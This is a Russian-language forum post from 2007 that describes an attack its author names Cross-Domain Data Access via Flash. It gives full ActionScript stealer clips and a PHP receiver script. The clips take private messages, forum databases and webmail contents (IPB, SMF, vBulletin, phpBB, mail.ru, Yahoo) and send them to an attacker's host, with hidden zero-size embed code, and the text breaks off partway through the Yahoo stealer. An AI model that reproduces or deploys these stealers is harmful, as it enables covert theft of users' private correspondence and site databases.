Просмотр полной версии : Cross-Domain Data Access via Flash [CDDAF] Reference
Alexsize
07.09.2007, 15:24
Статья описывает новый тип уязвимостей с использованием Flash. В теоретической части описываются идеи ее реализации, присутствует немного теории о Flash, которая необходима для практической реализации уязвимости.
В практической части описываются примеры различного использования уязвимости:
- Кража приватной информации на примере популярных форумных движков и почтовых сервисов
- Распределенный перебор паролей на примере icq.com
- DDoS
Теория атаки
Введение
Атака осуществляется посредством Flash Player. Для Flash Player действует ряд ограничений (sandbox security model), схожих с ограничениями для Java Applets, которые запрещают доступ к серверу, если его адрес не совпадает с адресом сервера, на котором находится клип. Суть атаки заключается в расширении sandbox (снятии ограничений на доступ к внешним данным) Flash Player для отправления произвольных данных уязвимому данной атаке серверу от лица жертвы. Не маловажно то, что с запросом отправляются и установленные для данного сервера cookies. О том, как расширить Sandbox будет рассказано далее.
В общем случае проведение атаки выглядит следующим образом: жертва заходит на некий сайт и при этом загружает Flash клип, который делает запрос на расширение Sandbox серверу и, если все прошло успешно, начинает посылать запросы данному серверу, обрабатывать ответы, если необходимо пересылать их другому серверу. Данная уязвимость может быть использована для кражи приватной информации пользователей, DDoS, накрутки голосований, счетчиков, распределенного подбора паролей и т. д. Ниже приведена общая схема проведения атаки.
Схема. Принцип действия атаки
http://img66.imageshack.us/img66/2323/image1yw2.jpg (http://imageshack.us)
Данная уязвимость схожа с CSRF и XSS, при этом имеет преимущества обоих: возможность посылать запросы серверам (не только на 80 порт) и обрабатывать ответ. Поэтому атаку возможно осуществить и при наличии такой защиты от CSRF, как добавление уникального параметра к каждому запросу. Уязвимость не является частным случаем CSRF, т. к. с ее помощью мы не только посылаем запросы сторонним серверам, но и получаем ответ сервера, имеем возможность его обрабатывать. Данную уязвимость я назвал Cross-Domain Data Access via Flash (CDDAF).
Расширение Sandbox
Для снятия ограничений (расширения Sandbox) необходимо расположить на сервере, к которому необходимо получить доступ, cross-domain policy файл (далее сертификат), являющийся простым XML файлом. Сертификат должен содержать примерно следующее:
<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="www.site.com" /></cross-domain-policy>
Данный policy file разрешает доступ к серверу клипам, загруженным с www.site.com. Чтобы клипы с любых доменов имели доступ к серверу значение атрибута domain должно быть "*".
Чтобы разрешить клипу, полученному по HTTP протоколу, импортировать данные при помощи HTTPS, значение атрибута secure должно быть false (по умолчанию true).
Пример сертификата, разрешающего внешний доступ к страницам по протоколам HTTP и HTTPS:
<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>
Для сокетов для доступа к портам сервера номером более 1024 (доступ к стандартным портам закрыт, но и это ограничение можно снять), предусмотрен атрибут to-ports, значением которого могут быть конкретный порт, диапазон (например "3000-3010") или "*" (>1024). Для доступа к стандартным портам сертификат должен быть получен с порта с номером, не превышающим 1024. Сертификат, загруженный с порта, номер которого больше 1024, или по HTTP, не может дать допуск на подключение к стандартным портам.
Подробнее: http://www.adobe.com/go/tn_14213
Таким образом, разместив на сайте приведенный выше XML код или клип, мы можем посылать данному сайту произвольные запросы от лица жертвы. Следует отметить, что многие HTTP заголовки средствами Flash изменить нельзя. Ниже приведены данные заголовки (для Flash Player 9):
Accept-Charset, Accept-Encoding, Accept-Ranges, Age, Allow, Allowed, Connection, Content-Length, Content-Location, Content-Range, Date, Delete, ETag, Expect, Get, Host, Keep-Alive, Last-Modified, Location, Max-Forwards, Options, Post, Proxy-Authenticate, Proxy-Authorization, Public, Put, Range, Referer, Retry-After, Server, TE, Trace, Trailer, Transfer-Encoding, Upgrade, URI, User-Agent, Vary, Via, Warning, WWW-Authenticate, x-flash-version
Для расширения Sandbox используется метод loadPolicyFile(policyFile:String). При этом имя и расширение файла сертификата не имеют значения, сертификат даже может содержать посторонние данные ("мусор").
Для размещения кода сертификата на сайте есть несколько общих способов:
> Вложения (attachments) - для форумов, почтовых веб сервисов
> XSS - вставка на уязвимой странице кода сертификата
Примечание. Иногда выгоднее использовать XSS "традиционными" способами, например, если XSS выглядит следующим образом:
http://site.com/dir1/dir2/scr?param=[XSS], то мы сможем получить доступ только к http[s]://site.com/dir1/dir2/* и site.com:1024+
> Аватары, фото, и т. д.
Примечание. Здесь меня постигло разочарование: иногда ссылка на изображение имеет следующий вид (пример для vBulletin):
http://site.com/vb/image.php?u=1234&dateline=123456789
Видно, что если поместить в изображение код сертификата, мы сможем получить доступ к http://site.com/vb/*, но Flash Player не считывает данные после символа конца строки. Поэтому код сертификата должен находиться перед данным символом. Однако, зачастую существует проверка размеров загружаемой картинки, которая обычно заключается в чтении нескольких начальных байт изображения. Покажу на примере формата GIF.
Структура GIF файла
http://img521.imageshack.us/img521/6779/image2ub3.gif (http://imageshack.us)
Как видно, для ширины и высоты изображения зарезервировано по 2 байта с 6-го по 9-ый включительно. Чтобы ни один из зарезервированных байтов не был null-байтом, размеры изображения должны быть 0101h x 0101h или в десятичной системе счисления 257 x 257. Таким образом, мы сможем вставить код сертификата в картинку, минимальный размер которой 257 x 257 (т. е. как аватар такое изображение загрузить в большинстве случаев не удастся). С другими графическими форматами дела обстоят аналогичным образом.
> Возможно, сертификат уже находится на сервере. Например, иногда в корне сайта имеется необходимый нам файл crossdomain.xml (часто со значением атрибута domain *). Пример - icq.com
Иногда возможно расположить клип на сервере, к которому необходимо послать запрос. Тогда, если клип расположен не в корневой директории, он сможет работать только со страницами, расположенными в одной директории (или поддиректориях) с ним.
Замечание. В этом случае возможно также выполнение javascript, например, при помощи функции getURL() или метода call() класса ExternalInterface.
В настоящее время уязвимы web email сервисы(yahoo.com, hotmail.com, icqmail.com, mail.ru, pochta.ru, gmail.com), некоторые популярные форумные движки (Invision Power Board, vBulletin, SMF) и др.
Примеры практического применения
Для эксплуатации уязвимости необходимо разместить код сертификата на сервере, получить его адрес. На основании данного адреса определяем, к какой части сайта мы получим доступ. Если все устраивает, создаем Flash клип, который выполнит необходимые нам действия от лица загрузившего.
Далее в статье будут рассмотрены примеры кражи приватной информации (PM, DB; на примере форумов и почтовых сервисов), распределенного перебора паролей, DDoS.
Форумы
Схема проведения CSREF следующая: размещаем на форуме код сертификата (в attachment), даем жертве ссылку на сайт с клипом, который загрузит размещенный нами сертификат, выполнит от лица жертвы некие действия, если необходимо отправит полученные данные.
В общем случае при краже личных сообщений (или писем с email сервиса) загруженный Flash Movie выполняет следующие действия (исключение vBulletin):
1. Загружает сертификат / расширяет Sandbox
2. Загружает страницы со списками сообщений (inbox, sent, etc)
3. Парсит полученные данные на предмет ссылок на сообщения, добавляет их в общий массив, удаляя повторяющиеся
4. Загружает некоторое количество сообщений в память
5. Отправляет их скрипту-приёмнику
6. 4 + 5 пока не закончатся ссылки
Код на PHP скрипта-приёмника для всех приведенных далее примеров один:
<?php
set_time_limit(0);
error_reporting(E_ALL ^ E_NOTICE);
if($_POST['data']) {
if(strlen($_POST['data']) > 3000000) exit;
$date = date('d M Y, H:i:s');
$clientInfo = <<<INFO
<table style='background: #800000; font-family: Verdana; font-size: 10; color: #ffffff;' width=100% border=1 cellpadding=2 cellspacing=0>
<tr>
<td colspan=5><center><b>Information about sender</b></center></td>
</tr><tr>
<td><b>Date:</b> {$date}</td>
<td><b>Ip:</b> {$_SERVER['REMOTE_ADDR']}</td>
<td><b>X_Forwarded_For:</b> {$_SERVER['HTTP_X_FORWARDED_FOR']}</td>
<td><b>Client_Ip:</b> {$_SERVER['HTTP_CLIENT_IP']}</td>
<td><b>Forwarded:</b> {$_SERVER['HTTP_FORWARDED']}</td>
</tr><tr>
<td colspan=2><b>Referer:</b> {$_SERVER['HTTP_REFERER']}</td>
<td colspan=3><b>User-Agent:</b> {$_SERVER['HTTP_USER_AGENT']}</td>
</tr>
</table>
INFO;
$handle = fopen($_SERVER['REMOTE_ADDR'] . '.html', 'a');
fwrite($handle, $clientInfo . stripslashes(urldecode($_POST['data'])) . '<br><br>');
fclose($handle);
}
?>
Данный скрипт записывает значение $_POST['data'] и некоторую информацию о клиенте в файл $_SERVER['REMOTE_ADDR'] . '.html'
Файлы, созданные данным скриптом, следует открывать с осторожностью, т. к. жертва может, например, послать HTML код какого-нибудь внешнего элемента, Javascript код и т. д. и получить IP злоумышленника.
Invision Power Board
В панель администратора попасть не удастся, т. к. доступ туда осуществляется по паролю/сессии, сессия админа хранится в cookies (ipb_admin_session_id), однако она не используется. В версиях 2.2, 2.3 кусок кода, отвечающий за аутентификацию, используя ipb_admin_session_id, был закомментирован:
//----------------------------------
// Got a cookie wookey?
// Small security risk currently
// Until we add in the auth key to forms
//----------------------------------
/*
$cookie['admin_session_id'] = $this->ipsclass->my_getcookie('ipb_admin_session_id');
if ( $cookie['admin_session_id'] )
{
$this->ipsclass->input['adsess'] = $cookie['admin_session_id'];
$this->session_type = 'cookie';
}*/
По умолчанию, к своему сообщению можно прикреплять файлы определенного размера и расширения. Загруженные файлы хранятся в БД и извлекаются сценарием index.php. При этом:
> Скрипт index.php, передающий содержание изображения находится в корне форума. Ссылка на загруженный файл имеет примерно следующий вид:
http://site.com/forum/index.php?act=attach&type=post&id=2
> Прикрепляемый файл может содержать произвольный XML код
Таким образом, имеются все условия для проведения атаки. Мы можем посылать запросы от лица пользователя, загрузившего клип. При этом, как и отмечалось ранее, передаются cookies, установленные для данного сайта.
Ниже приведен код на ActionScript для кражи всех приватных сообщений пользователя, загрузившего Flash клип. Клип получает параметры, используя FlashVars.
/*
Invision Power Board PM Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals inbox, sent and saved PMs
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// policyFileUrl:String = Policy file url (attachment url)
// [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl && _level0.policyFileUrl) {
if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }
import flash.external.ExternalInterface;
var messagesContent:Array = new Array();
var allPmLinks:Array = new Array();
var tmpPmLinks:Object = new Object();
var foldersDone:Number = 0;
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(_level0.policyFileU rl);
var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));
// Array of forum's folders links
var folders:Array = new Array(
'/index.php?CODE=01&act=Msg&VID=in', // Inbox
'/index.php?CODE=01&act=Msg&VID=sent', // Sent
'/index.php?act=Msg&CODE=20'); // Saved
// Getting lists of messages in folders
for(var i in folders) {
serverRequest(
forumUrl + folders[i],
'',
'GET',
onGetMessageList);
}
}
function onGetMessageList(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for PM links
// Using external Js Regexp (Flash player < 9 doesn't support Regexp)
var pmLinks:Object = ExternalInterface.call(
'function(data) { return data.match(/(index\\.php\\?act=Msg&CODE=03&VID=[a-z]+&MSID=\\d+)/igm); }',
loadedData);
// Deleting similar links
for(var i in pmLinks) {
tmpPmLinks[pmLinks[i]] = null; }
foldersDone++;
if(foldersDone == folders.length) {
// Concatenation (Object) tmpPmLinks to (Array) allPmLinks
for(var i in tmpPmLinks) {
allPmLinks.push(i); }
sendGetLinkRequsts()
}
}
function sendGetLinkRequsts():Void {
if(allPmLinks.length) {
if(allPmLinks.length < messagesUntilDump) {
messagesUntilDump = allPmLinks.length; }
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
serverRequest(
forumUrl + '/' + allPmLinks.shift(),
'',
'GET',
onGetMessageContent);
}
}
}
function onGetMessageContent(loadedData:String):Void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
serverRequest(
_level0.dataReceiverUrl,
'data=' + escape(messagesContent.join('<br>')),
'POST');
messagesContent = new Array();
sendGetLinkRequsts()
}
}
function serverRequest(
requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
Параметры:
· policyFileUrl - адрес прикрепленного файла с кодом сертификата
· dataReceiverUrl - адрес скрипта-приемника. Он должен находиться в одной директории с клипом
· [optional] messagesUntilDump - число сообщений в одном дампе
Требования:
· Flash Player 8+
· Javascript
Пример вставки клипа на страницу (все & в параметрах-ссылках лучше заменить на %26)
<OBJECT
id="fl"
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
width="0"
height="0"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<PARAM name="movie" value="ipbPMStealer.swf">
<PARAM name="FlashVars"
value="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1">
<EMBED
name="fl"
src="ipbPMStealer.swf"
FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php&policyFileUrl=http://vsite.com/ipb/index.php?act=attach%26type=post%26id=1"
width="0"
height="0"
swLiveConnect="true"
pluginspace="http://www.macromedia.com/go/flashplayer/">
</EMBED>
</OBJECT>
Принцип действия данного клипа показан на схеме в начале статьи. В одной директории с данным клипом должен находиться скрипт-приёмник (cDataReceiver.php; код приводился ранее)
Alexsize
07.09.2007, 15:25
SMF
При любом действии в панели администратора проверяется значение Referer'a. В последней версии Flash Player значение данного заголовка изменить нельзя: браузер посылает Referer страницы с Flash клипом. Но все же атаку можно осуществить, если жертва использует Mozilla Firefox, т. к. в данном браузере Flash Player не посылает заголовка Referer при GET запросах (в отличие от IE и Opera).
Код для кражи базы данных (работает только в Mozilla Firefox)
Параметры:
· policyFileUrl
· dataReceiverUrl
Требования:
· Flash Player 7+
/*
Simple Machines Forum DB Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals database (works only in Mozilla Firefox)
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// policyFileUrl:String = Policy file url (attachment url)
if(_level0.dataReceiverUrl && _level0.policyFileUrl) {
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(_level0.policyFileU rl);
var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));
// Getting session verify
serverRequest(
forumUrl + '/index.php',
'action=admin',
'GET',
onGetSessVerify);
}
function onGetSessVerify(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Looking for 'sesc' (session verify)
var sessVerify:String = loadedData.substr(loadedData.indexOf('sesc=') + 5, 32);
// Dumping DB
serverRequest(
forumUrl + '/index.php',
'data=on&action=dumpdb&sesc=' + sessVerify,
'GET',
onDumpTry);
}
function onDumpTry(loadedData:String):Void {
// Dumping messages
serverRequest(
_level0.dataReceiverUrl,
'data=' + escape('<pre>' + loadedData + '</pre>'),
'POST');
}
function serverRequest(
requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
Код для кражи всех Inbox/Sent приватных сообщений пользователя [AS1/2]
Параметры:
· policyFileUrl
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 8+
· Javascript
/*
Simple Machine Forum PM Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals inbox and sent PMs
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// policyFileUrl:String = Policy file url (attachment url)
// [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl && _level0._level0.policyFileUrl) {
if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }
import flash.external.ExternalInterface;
var messagesContent:Array = new Array();
var allPmLinks:Array = new Array();
var tmpPmLinks:Object = new Object();
var foldersDone:Number = 0;
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(_level0.policyFileU rl);
var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));
// Array of forum's folders links
var folders:Array = new Array(
'/index.php?action=pm;f=inbox;sort=date;start=0',
'/index.php?action=pm;f=outbox;sort=date;start=0');
// Getting lists of messages in some folders (folders)
for(var i in folders) {
serverRequest(
forumUrl + folders[i],
'',
'GET',
onGetMessageList);
}
}
function onGetMessageList(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for PM links
// Using external Js Regexp (Flash player < 9 doesn't support Regexp)
var pmLinks:Object = ExternalInterface.call(
'function(data) { return data.match(/(index\\.php\\?action=pm;f=[a-z]+;sort=date;start=\\d+)/igm); }',
loadedData);
// Deleting similar links
for(var i in pmLinks) {
tmpPmLinks[pmLinks[i]] = null; }
foldersDone++;
onGetMessageContent(loadedData);
if(foldersDone == folders.length) {
// Concatenation (Object) tmpPmLinks to (Array) links_array
for(var i in tmpPmLinks) {
allPmLinks.push(i); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():Void {
if(allPmLinks.length) {
if(allPmLinks.length < messagesUntilDump) {
messagesUntilDump = allPmLinks.length; }
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
serverRequest(
forumUrl + '/' + allPmLinks.shift(),
'',
'GET',
onGetMessageContent);
}
}
}
function onGetMessageContent(loadedData:String):Void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
serverRequest(
_level0.dataReceiverUrl,
'data=' + escape(messagesContent.join('<br>')),
'POST');
messagesContent = new Array();
sendGetLinkRequsts();
}
}
function serverRequest(
requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
vBulletin
В данном форуме проверяется значение Referer'a при POST запросах, поэтому сделать что-либо в админ панели не удастся.
Украсть приватные сообщения в данном форуме очень просто: разработчики предусмотрели возможность скачать все свои PM, этим и воспользуемся.
Код для кражи всех приватных сообщений
Параметры:
· policyFileUrl
· dataReceiverUrl
Требования:
· Flash Player 7+
/*
vBulletin PM Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all PMs (as text)
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// policyFileUrl:String = Policy file url (attachment url)
if(_level0.dataReceiverUrl && _level0.policyFileUrl) {
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(_level0.policyFileU rl);
var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));
var loader:LoadVars = new LoadVars();
loader.onData = function(loadedData:String) {
// Sending received data to dataReceiverUrl
var sender:LoadVars = new LoadVars();
sender.data = '<pre>' + loadedData + '</pre>';
sender.sendAndLoad(_level0.dataReceiverUrl, new LoadVars(), 'POST');
}
// Downloading all PMs
loader.load(forumUrl + '/private.php?do=downloadpm&dowhat=txt');
}
// EOF
phpBB
Данный форум уязвим при наличии attach (download) мода. Проверка Referer отсутствует, поэтому возможны любые действия. Ниже приведен код для кражи базы данных форума.
Параметры:
· policyFileUrl
· dataReceiverUrl
Требования:
· Flash Player 8+
· Javascript
/*
phpBB DB Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals database
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// policyFileUrl:String = Policy file url (attachment url)
if(_level0.dataReceiverUrl && _level0.policyFileUrl) {
import flash.external.ExternalInterface;
System.security.loadPolicyFile(_level0.policyFileU rl);
var forumUrl:String = _level0.policyFileUrl.substring(0, _level0.policyFileUrl.lastIndexOf('/'));
var adminPath:String;
var sid:String;
// Getting session verify
serverRequest(
forumUrl + '/index.php',
'',
'GET',
onGetSid);
}
function onGetSid(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for sid and admin panel path
// Using external Js Regexp (Flash player < 9 doesn't support Regexp)
var matches:Object = ExternalInterface.call(
'function(data) { return data.match(/href=\\"([a-z0-9_-]+)\\/index\\.php\\?sid=([a-z0-9]+)\\">Go to Administration Panel/i); }',
loadedData);
adminPath = matches[1];
sid = matches[2];
if(!sid) {
// No sid found
} else {
// Dumping DB
serverRequest(
forumUrl + '/' + adminPath + '/admin_db_utilities.php',
'perform=backup&additional_tables=&backup_type=full&drop=1&backupstart=1&gzipcompress=0&startdownload=1&sid=' + sid,
'GET',
onBackupTry);
}
}
function onBackupTry(loadedData):Void {
// Sending received loadedData to _level0.dataReceiverUrl
serverRequest(
_level0.dataReceiverUrl,
'data=' + escape('<a href="' + forumUrl + '/' + adminPath + '/index.php?sid='
+ sid + '"><h4>Try to enter in admin panel</h4></a>'
+ '<pre>' + loadedData + '</pre>'),
'POST');
}
function serverRequest(
requestUrl:String, vars:String, method:String, onDataFunc:Function):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
sender.decode(vars);
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
Почтовые сервисы
Для почтовых сервисов схема проведения CSREF немного сложнее, чем для форумов, выглядит она следующим образом: жертве посылается письмо с прикрепленным файлом, содержащим код сертификата (либо отправляется HTML письмо, содержащее данный код, если он не фильтруется) и ссылка на сайт. Когда жертва переходит по ссылке, передается Referer, содержащий адрес письма. Flash клип, исходя из этого адреса, формирует адрес прикрепленного к письму файла. Жертва загружает клип, который на основе переданного адреса (иногда можно передавать адрес самого письма, содержащего код сертификата) расширяет Sandbox и ворует все письма. Для получения referrer от жертвы можно использовать не только ссылку.
Схема. CDDAF на почтовых сервисах:
http://img183.imageshack.us/img183/3969/image3fz6.gif (http://imageshack.us)
mail.ru
Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS1/2]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 8+
· Javascript
/*
mail.ru Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, sent, draft, trash + addressbook
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl) {
if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }
import flash.external.ExternalInterface;
System.useCodepage = true;
var messagesContent:Array = new Array();
var allMessageLinks:Array = new Array('addressbook');
var tmpMessageLinks:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var messageId:String = ExternalInterface.call(
'function(data) { return data.match(/readmsg\\?id=(\\d+)/i)[1]; }',
referrer).toString();
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment');
var folders:Array = new Array(
'/msglist?folder=0', // Inbox
'/msglist?folder=500000', // Sent
'/msglist?folder=500001', // Draft
'/msglist?folder=500002'); // Trash
// Getting lists of messages in folders
for(var i in folders) {
serverRequest(
baseUrl + folders[i],
onGetMessageList,
'GET');
}
}
function onGetMessageList(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
// Using external Js Regexp (Flash player < 9 doesn't support Regexp)
var links:Object = ExternalInterface.call(
'function(data) { return data.match(/(readmsg\\?id=\\d+)/ig); }',
loadedData.split("\\\"").join(''));
// Deleting similar links
for(var i in links) {
tmpMessageLinks[links[i]] = null; }
foldersDone++;
if(foldersDone == folders.length) {
// Concatenation (Object) tmpMessageLinks to (Array) links_array
for(var i in tmpMessageLinks) {
allMessageLinks.push(i); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():Void {
if(allMessageLinks.length) {
if(allMessageLinks.length < messagesUntilDump) {
messagesUntilDump = allMessageLinks.length; }
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
serverRequest(
baseUrl + '/' + allMessageLinks.shift(),
onGetMessageContent,
'GET');
}
}
}
function onGetMessageContent(loadedData:String):Void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
serverRequest(
_level0.dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
messagesContent = new Array();
sendGetLinkRequsts()
}
}
function serverRequest(
requestUrl:String, onDataFunc:Function, method:String, vars:String):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
if(vars) { sender.decode(vars); }
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
· Javascript (от данного требования можно избавиться, если передавать Referer параметром посредством FlashVars)
/*
mail.ru Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, sent, draft, trash + addressbook
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;
var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl) {
import flash.external.ExternalInterface;
if(!messagesUntilDump) { messagesUntilDump = 3; }
var messagesContent:Array = new Array();
var allLinks:Array = new Array('addressbook');
var allLinksObject:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var messageId:String = referrer.match(/readmsg\?id=(\d+)/i)[1];
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
flash.system.Security.loadPolicyFile(baseUrl + '/readmsg?id=' + messageId + ';0;1&mode=attachment');
var folders:Array = new Array(
// Folders
'/msglist?folder=0', // Inbox
'/msglist?folder=500000', // Sent
'/msglist?folder=500001', // Draft
'/msglist?folder=500002'); // Trash
// Getting lists of messages in some folders (folders)
var loader:LoadUrl = new LoadUrl(null, onGetMessageList);
for each (var folder in folders) {
loader.setRequestUrl(baseUrl + folder);
loader.loadUrl();
}
}
function onGetMessageList(loadedData:String):void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
var currentLinks:Array = loadedData.match(/(readmsg\?id=\d+)/ig);
// Deleting similar links
for each (var link:String in currentLinks) {
allLinksObject[link] = null; }
foldersDone++;
if(foldersDone == folders.length) {
for(var key:String in allLinksObject) {
allLinks.push(key); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():void {
if(allLinks.length) {
if(allLinks.length < messagesUntilDump) {
messagesUntilDump = allLinks.length; }
var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
loader.setRequestUrl(baseUrl + '/' + allLinks.shift());
loader.loadUrl();
}
}
}
function onGetMessageContent(loadedData:String):void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
var loader:LoadUrl = new LoadUrl(
dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
loader.loadUrl();
messagesContent = new Array();
sendGetLinkRequsts();
}
}
// EOF
Alexsize
07.09.2007, 15:25
yahoo.com
Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Bulk, Trash [AS1/2]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 8+
· Javascript
/*
yahoo.com Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, draft, sent, bulk, trash
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl) {
if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }
import flash.external.ExternalInterface;
System.useCodepage = true;
var messagesContent:Array = new Array();
var allMessageLinks:Array = new Array();
var tmpMessageLinks:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(referrer + '&bodyPart=2');
var folders:Array = new Array(
'/ShowFolder?rb=Inbox&', // Inbox
'/ShowFolder?rb=Draft&', // Draft
'/ShowFolder?rb=Sent&', // Sent
'/ShowFolder?rb=@B@Bulk&', // Bulk
'/ShowFolder?rb=Trash&'); // Trash
// Getting lists of messages in folders
for(var i in folders) {
serverRequest(
baseUrl + folders[i],
onGetMessageList,
'GET');
}
}
function onGetMessageList(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
// Using external Js Regexp (Flash player < 9 doesn't support Regexp)
var links:Object = ExternalInterface.call(
'function(data) { return data.match(/(ShowLetter\\?[^\\"#]*)/ig); }',
loadedData.split("\\\"").join(''));
// Deleting similar links
for(var i in links) {
tmpMessageLinks[links[i]] = null; }
foldersDone++;
if(foldersDone == folders.length) {
// Concatenation (Object) tmpMessageLinks to (Array) allMessageLinks
for(var i in tmpMessageLinks) {
allMessageLinks.push(i); }
sendGetLinkRequsts();
